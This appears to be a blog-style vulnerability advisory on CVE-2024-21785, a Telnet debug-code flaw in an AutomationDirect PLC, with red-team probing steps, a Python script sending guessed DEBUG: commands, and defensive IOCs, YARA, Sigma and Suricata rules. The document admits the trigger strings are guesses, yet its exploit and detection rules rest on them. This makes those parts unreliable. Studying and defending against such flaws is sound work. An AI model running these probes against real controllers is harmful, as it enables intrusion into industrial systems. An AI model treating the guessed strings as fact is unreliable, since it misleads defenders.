CVE-2024-21785

Executive Summary

CVE-2024-21785 is a critical vulnerability in the AutomationDirect P3-550E programmable logic controller (PLC) running firmware version 1.2.10.9. The flaw resides in the Telnet Diagnostic Interface, where leftover debug code allows an unauthenticated attacker to send a specially crafted series of network requests to gain unauthorized access to the device. With a CVSS score of 9.8, this vulnerability poses a severe risk to industrial control systems (ICS) and operational technology (OT) environments. No public proof-of-concept (PoC) or exploit code is available, but the attack vector is network-based and requires no authentication. The vendor has not released a patch, leaving affected devices exposed to potential remote compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No human involvement.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Full read access to device data.
• Integrity Impact: High (I:H) – Full write access to device configuration.
• Availability Impact: High (A:H) – Potential denial of service or device takeover.

Threat Level: Critical. The vulnerability allows complete compromise of the PLC, which can disrupt industrial processes, cause physical damage, or be used as a pivot point into the OT network.

Deep Dive & Mechanics

The AutomationDirect P3-550E PLC includes a Telnet Diagnostic Interface intended for debugging and maintenance. Due to leftover debug code, this interface exposes a hidden command handler that does not require authentication. An attacker can send a sequence of specially crafted Telnet commands to trigger the debug functionality, bypassing normal access controls.

The debug code likely includes commands for reading/writing memory, modifying firmware, or executing arbitrary system commands. The exact mechanism is not publicly documented, but the vulnerability is triggered by sending a series of network requests to the Telnet port (default 23). The debug interface may respond to specific byte sequences or command strings that are not filtered in the production firmware.

The root cause is a failure to remove debug functionality from the production release, a classic CWE-489 (Active Debug Code) issue. This is common in embedded systems where developers leave diagnostic interfaces enabled for field support but forget to disable them in the final build.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable code likely contains an if-else or switch statement that checks for a debug flag or command prefix. For example:

Vulnerable (pseudocode):

void telnet_handle_command(char *cmd) {
    if (strncmp(cmd, "DEBUG:", 6) == 0) {
        // Execute debug command without authentication
        execute_debug(cmd + 6);
    } else {
        // Normal authenticated command handling
        authenticate_and_execute(cmd);
    }
}

Patched (hypothetical):

void telnet_handle_command(char *cmd) {
    // Remove debug code entirely
    authenticate_and_execute(cmd);
}

The fix would involve removing the debug command handler or adding authentication checks before executing any debug commands.

Exploitation & Lab Setup

Red Team

Prerequisites:

• AutomationDirect P3-550E PLC with firmware 1.2.10.9
• Network access to the PLC's Telnet port (23)
• A Telnet client (e.g., telnet, netcat, or custom script)

Exploitation Steps:

1. Scan for the PLC on the network using Shodan or Nmap:

   nmap -p 23 --script telnet-ntlm-info <target_ip>
   

2. Connect to the Telnet interface:

   telnet <target_ip> 23
   

3. Send a series of debug trigger commands. Based on typical debug interfaces, try:

   DEBUG:ENABLE
   DEBUG:GET_CONFIG
   DEBUG:SET_PARAM 0x1234 0x5678
   

   The exact sequence is unknown, but experimentation with common debug prefixes (e.g., DEBUG:, DIAG:, #) may reveal the trigger.
4. Once access is gained, extract configuration, modify parameters, or upload malicious firmware.

Automated Exploit (Python):

import socket

def exploit(target_ip, port=23):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, port))
    # Send debug enable sequence
    sock.send(b"DEBUG:ENABLE\r\n")
    response = sock.recv(1024)
    print(f"Response: {response}")
    # Send command to read config
    sock.send(b"DEBUG:GET_CONFIG\r\n")
    config = sock.recv(4096)
    print(f"Config: {config}")
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100")

Blue Team

Detection & Response:

• Monitor Telnet traffic (port 23) for unusual command sequences, especially strings containing "DEBUG", "DIAG", or other debug prefixes.
• Use network intrusion detection systems (NIDS) to alert on Telnet sessions that do not follow normal authentication patterns.
• Isolate PLCs on a separate VLAN with strict access controls.
• Implement host-based monitoring on the PLC if possible (e.g., syslog).

Honeypot Setup: Deploy a honeypot mimicking the P3-550E Telnet interface to capture attacker behavior:

# Using a simple Python honeypot
import socket

def honeypot():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind(('0.0.0.0', 23))
    server.listen(5)
    while True:
        client, addr = server.accept()
        print(f"Connection from {addr}")
        client.send(b"Welcome to AutomationDirect P3-550E\r\n")
        data = client.recv(1024)
        print(f"Received: {data}")
        client.close()

if __name__ == "__main__":
    honeypot()

Indicators of Compromise (IOCs)

• Network IOCs:
  • Telnet sessions containing strings like DEBUG:, DIAG:, or # followed by commands.
  • Unusual Telnet traffic from unexpected IP addresses (e.g., internet-facing).
  • Multiple rapid connections to port 23 from the same source.
• Host IOCs:
  • Unauthorized changes to PLC configuration or firmware.
  • Unexpected reboots or crashes.
  • New user accounts or backdoor services.
• File IOCs:
  • Modified firmware files with debug code enabled.
  • Presence of debug logs or core dumps.

Detection Engineering

YARA Rule

rule CVE_2024_21785_Telnet_Debug {
    meta:
        description = "Detects debug command sequences in Telnet traffic targeting AutomationDirect P3-550E"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-21785"
    strings:
        $debug1 = "DEBUG:" ascii wide nocase
        $debug2 = "DIAG:" ascii wide nocase
        $debug3 = "#" ascii wide
        $cmd1 = "ENABLE" ascii wide nocase
        $cmd2 = "GET_CONFIG" ascii wide nocase
        $cmd3 = "SET_PARAM" ascii wide nocase
    condition:
        any of ($debug*) and any of ($cmd*)
}

Sigma Rule

title: CVE-2024-21785 Telnet Debug Command Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects Telnet sessions containing debug command sequences indicative of CVE-2024-21785 exploitation
author: Valters IT
date: 2025/04/10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 23
        payload|contains:
            - 'DEBUG:'
            - 'DIAG:'
            - '#ENABLE'
            - '#GET_CONFIG'
    condition: selection
falsepositives:
    - Legitimate debugging by authorized personnel
level: critical

Suricata Rule

alert tcp any any -> any 23 (msg:"CVE-2024-21785 Telnet Debug Command Attempt"; flow:to_server,established; content:"DEBUG:"; nocase; content:"ENABLE"; distance:0; within:100; sid:1000001; rev:1;)
alert tcp any any -> any 23 (msg:"CVE-2024-21785 Telnet Diagnostic Command"; flow:to_server,established; content:"DIAG:"; nocase; content:"GET_CONFIG"; distance:0; within:100; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Telnet: If not required for operations, disable the Telnet service on the PLC. Use SSH or other encrypted protocols instead.
2. Network Segmentation: Place the PLC on a dedicated VLAN with strict firewall rules allowing only necessary traffic from trusted IPs.
3. Access Control: Implement IP whitelisting for Telnet access if it must remain enabled.
4. Monitor Logs: Enable logging on the PLC and monitor for suspicious Telnet activity.

Long-Term Fix:

• Contact AutomationDirect for a firmware update that removes the debug code.
• If no patch is available, consider replacing the device with a patched alternative.
• Implement a virtual patching solution (e.g., WAF or IPS) to block debug command sequences.

Workaround:

• Use a network proxy that filters Telnet traffic for known debug patterns before reaching the PLC.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert